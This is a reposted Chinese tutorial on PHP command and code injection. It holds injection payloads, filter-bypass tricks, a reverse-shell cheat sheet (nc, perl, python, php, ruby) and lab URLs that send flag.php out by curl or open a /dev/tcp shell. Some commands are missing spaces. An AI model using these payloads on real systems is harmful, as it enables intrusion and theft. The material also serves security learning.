0

0

干货 | 命令执行漏洞和代码执行漏洞详解

星夢妙者

星夢妙者

发布时间:2025-07-21 10:34:01

|

467人浏览过

|

来源于php中文网

原创

远程命令执行(rce)和代码执行漏洞之间的区别如下:

代码执行实际上是调用服务器网站的代码进行执行,而命令执行则是调用操作系统命令进行执行。

一、命令执行漏洞

1、什么是命令执行?

命令执行(Remote Command Execution, RCE)指的是Web应用的脚本代码在执行命令时由于过滤不严,从而注入一段攻击者能够控制的代码,在服务器上以Web服务的后台权限远程执行恶意指令。

成因:

  • 代码层过滤不严
  • 系统的漏洞造成命令注入
  • 调用的第三方组件存在代码执行漏洞

常见的命令执行函数:

  • PHP: exec、shell_exec、system、passthru、popen、proc_open等
  • ASP.NET: System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  • Java: java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

2、常用命令执行函数

(1)system

该函数会把执行结果输出,并把输出结果的最后一行作为字符串返回,如果执行失败则返回false。这个函数也最为常用。

<?php
highlight_file (__FILE__);
system('pwd');
system('whoami');
?>

(2)exec

不输出结果,返回执行结果的最后一行,可以使用output进行输出。

<?php
highlight_file (__FILE__);
exec('pwd',$b);
var_dump($b);
?>

(3)passthru

此函数只调用命令,并把运行结果原样地直接输出,没有返回值。

<?php
highlight_file (__FILE__);
passthru('ls');
?>

(4)shell_exec

不输出结果,返回执行结果,使用反引号(``)时调用的就是此函数。

<?php
highlight_file (__FILE__);
var_dump(shell_exec('ls'));
?>

(5)ob_start

此函数将打开输出缓冲,当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外,使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

<?php 
ob_start("system");    
echo "whoami";    
ob_end_flush();
?>

3、命令连接符

Windows和Linux都支持的命令连接符:

  • cmd1 | cmd2:只执行cmd2
  • cmd1 || cmd2:只有当cmd1执行失败后,cmd2才被执行
  • cmd1 & cmd2:先执行cmd1,不管是否成功,都会执行cmd2
  • cmd1 && cmd2:先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux还支持分号;

  • cmd1 ; cmd2:按顺序依次执行,先执行cmd1再执行cmd2

二、代码执行漏洞

1、什么是代码执行?

代码执行漏洞是由于服务器对危险函数过滤不严,导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞。

成因:

  • 用户能够控制函数输入
  • 存在可执行代码的危险函数

常见代码执行函数:

  • PHP: eval、assert、preg_replace()、+/e模式(PHP版本${}执行代码中间的php代码将会被解析)
<?php ${<!-- --?>phpinfo()};?>

(2)eval

将字符串当做函数进行执行,需要传入一个完整的语句,必须以分号 ; 结尾,最常用的函数。

<?php
eval ('echo "hello";');
?>

(3)assert

判断是否为字符串,是则当成代码执行,在php7.0.29之后的版本不支持动态调用。

低版本
<?php assert($_POST['a']);?>
7.0.29之后
<?php $a = 'assert';$a(phpinfo());?>

(4)preg_replace

用来执行一个正则表达式的搜索和替换,执行代码需要使用/e修饰符,前提是不超过php7。

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

pattern: 正则表达式匹配的内容 - replacement: 用于替换的字符串或字符串数组$subject: 要搜索替换的目标字符串或字符串数组

<?php
preg_replace ("/pat/e", $_GET['reg'], 'my pat');
?>

干货 | 命令执行漏洞和代码执行漏洞详解

(5)create_function

用来创建匿名函数。

create_function(string $args,string $code)

args是要创建的函数的参数,code是函数内的代码,一个demo:

<?php
error_reporting (0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

免费语音克隆
免费语音克隆

这是一个提供免费语音克隆服务的平台,用户只需上传或录制一段 5 秒以上的清晰语音样本,平台即可生成与用户声音高度一致的 AI 语音克隆。

下载
?sort_by="]);}phpinfo();/*

(6)array_map

为数组的每个元素应用回调函数。

<?php
highlight_file (__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

payload:

?a=assert&b=phpinfo();

(7)call_user_func

回调函数,可以使用is_callable查看是否可以进行调用。

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

<?php
highlight_file (__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>

(8)call_user_func_array

回调函数,参数为数组。

mixed call_user_func_array ( callable $callback , array $param_arr )

第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的参数传入。

<?php
highlight_file (__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array); 
?>

(9)array_filter

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数,如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中,数组的键名保留不变。

<?php
highlight_file (__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>

(10)usort

使用自定义函数对数组进行排序。

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序,如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

<?php
highlight_file (__FILE__);
usort(...$_GET);
php5.6以上的写法
#usort($_GET[1],'assert');
php5.6可用
?>

payload:

1[]=phpinfo()&1[]=123&2[]=assert

三、绕过姿势

干货 | 命令执行漏洞和代码执行漏洞详解

1、常见分隔符

  • 换行符 %0a
  • 回车符 %0d
  • 连续指令
  • 后台进程 &
  • 管道符 |
  • 逻辑 ||&&

2、空格可以用以下字符代替空格:

IFS}$IFS$9%09

$IFSlinux下表示分隔符,加一个{}固定了变量名,同理在后面加个$可以起到截断的作用。$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

3、命令终止符:

%00%20

4、敏感字符绕过

(1)变量绕过:

a=l,b=s;$a$b

(2)base64编码绕过:

echo 'cat' | base64`echo 'Y2F0Cg==' | base64 -d` test.txt

(3)未定义的初始化变量:

cat$b /etc/passwd

(4)连接符:

cat /etc/pass'w'd

(5)通配符

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件,可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档。ls命令我们可以通过以下语法代替执行:

/???/?s --help

四、反向连接(Reverse Shell)的各类技术方法:

- rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
- perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
- python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i&3 2>&3");’
- ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i&%d 2>&%d",f,f,f)'

五、一些场景应用

1、无任何过滤或简单过滤:

▪http://192.168.80.30/low.php?name=;cat flag.php
▪http://192.168.80.30/low.php?name=%26cat flag.php
▪http://192.168.80.30/low.php?name=|cat flag.php
▪http://192.168.80.30/low.php?name=`cat flag.php`

2、过滤了;,|,&,`:

▪http://192.168.80.30/medium.php?name=%0acat flag.php
▪http://192.168.80.30/medium.php?name=$(cat flag.php)

3、过滤了;,|,&,`, \s:

▪http://192.168.80.30/high.php?name=$(cat<flag.php></flag.php>

4、过滤了关键词,比如cat:

http://192.168.80.30/low.php?name=;c''at flag.php
http://192.168.80.30/low.php?name=;c\at flag.php
http://192.168.80.30/low.php?name=;c$@at flag.php
http://192.168.80.30/high.php?name=$(c\at<flag.php></flag.php>

5、页面无命令结果的回显:

▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`
▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

六、防范措施

  • 尽量不要使用系统执行命令
  • 在进入执行命令函数/方法前,变量要做好过滤,对敏感字符转义
  • 在使用动态函数前,确保使用的函数是指定的函数之一
  • 对PHP语言,不能完全控制的危险函数就不要用

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
js正则表达式
js正则表达式

php中文网为大家提供各种js正则表达式语法大全以及各种js正则表达式使用的方法,还有更多js正则表达式的相关文章、相关下载、相关课程,供大家免费下载体验。

530

2023.06.20

正则表达式不包含
正则表达式不包含

正则表达式,又称规则表达式,,是一种文本模式,包括普通字符和特殊字符,是计算机科学的一个概念。正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串,通常被用来检索、替换那些符合某个模式的文本。php中文网给大家带来了有关正则表达式的相关教程以及文章,希望对大家能有所帮助。

258

2023.07.05

java正则表达式语法
java正则表达式语法

java正则表达式语法是一种模式匹配工具,它非常有用,可以在处理文本和字符串时快速地查找、替换、验证和提取特定的模式和数据。本专题提供java正则表达式语法的相关文章、下载和专题,供大家免费下载体验。

766

2023.07.05

java正则表达式匹配字符串
java正则表达式匹配字符串

在Java中,我们可以使用正则表达式来匹配字符串。本专题为大家带来java正则表达式匹配字符串的相关内容,帮助大家解决问题。

219

2023.08.11

正则表达式空格
正则表达式空格

正则表达式空格可以用“s”来表示,它是一个特殊的元字符,用于匹配任意空白字符,包括空格、制表符、换行符等。本专题为大家提供正则表达式相关的文章、下载、课程内容,供大家免费下载体验。

356

2023.08.31

Python爬虫获取数据的方法
Python爬虫获取数据的方法

Python爬虫可以通过请求库发送HTTP请求、解析库解析HTML、正则表达式提取数据,或使用数据抓取框架来获取数据。更多关于Python爬虫相关知识。详情阅读本专题下面的文章。php中文网欢迎大家前来学习。

293

2023.11.13

正则表达式空格如何表示
正则表达式空格如何表示

正则表达式空格可以用“s”来表示,它是一个特殊的元字符,用于匹配任意空白字符,包括空格、制表符、换行符等。想了解更多正则表达式空格怎么表示的内容,可以访问下面的文章。

244

2023.11.17

正则表达式中如何匹配数字
正则表达式中如何匹配数字

正则表达式中可以通过匹配单个数字、匹配多个数字、匹配固定长度的数字、匹配整数和小数、匹配负数和匹配科学计数法表示的数字的方法匹配数字。更多关于正则表达式的相关知识详情请看本专题下面的文章。php中文网欢迎大家前来学习。

547

2023.12.06

C# ASP.NET Core微服务架构与API网关实践
C# ASP.NET Core微服务架构与API网关实践

本专题围绕 C# 在现代后端架构中的微服务实践展开,系统讲解基于 ASP.NET Core 构建可扩展服务体系的核心方法。内容涵盖服务拆分策略、RESTful API 设计、服务间通信、API 网关统一入口管理以及服务治理机制。通过真实项目案例,帮助开发者掌握构建高可用微服务系统的关键技术,提高系统的可扩展性与维护效率。

76

2026.03.11

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PostgreSQL 教程
PostgreSQL 教程

共48课时 | 10.5万人学习

Git 教程
Git 教程

共21课时 | 4.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号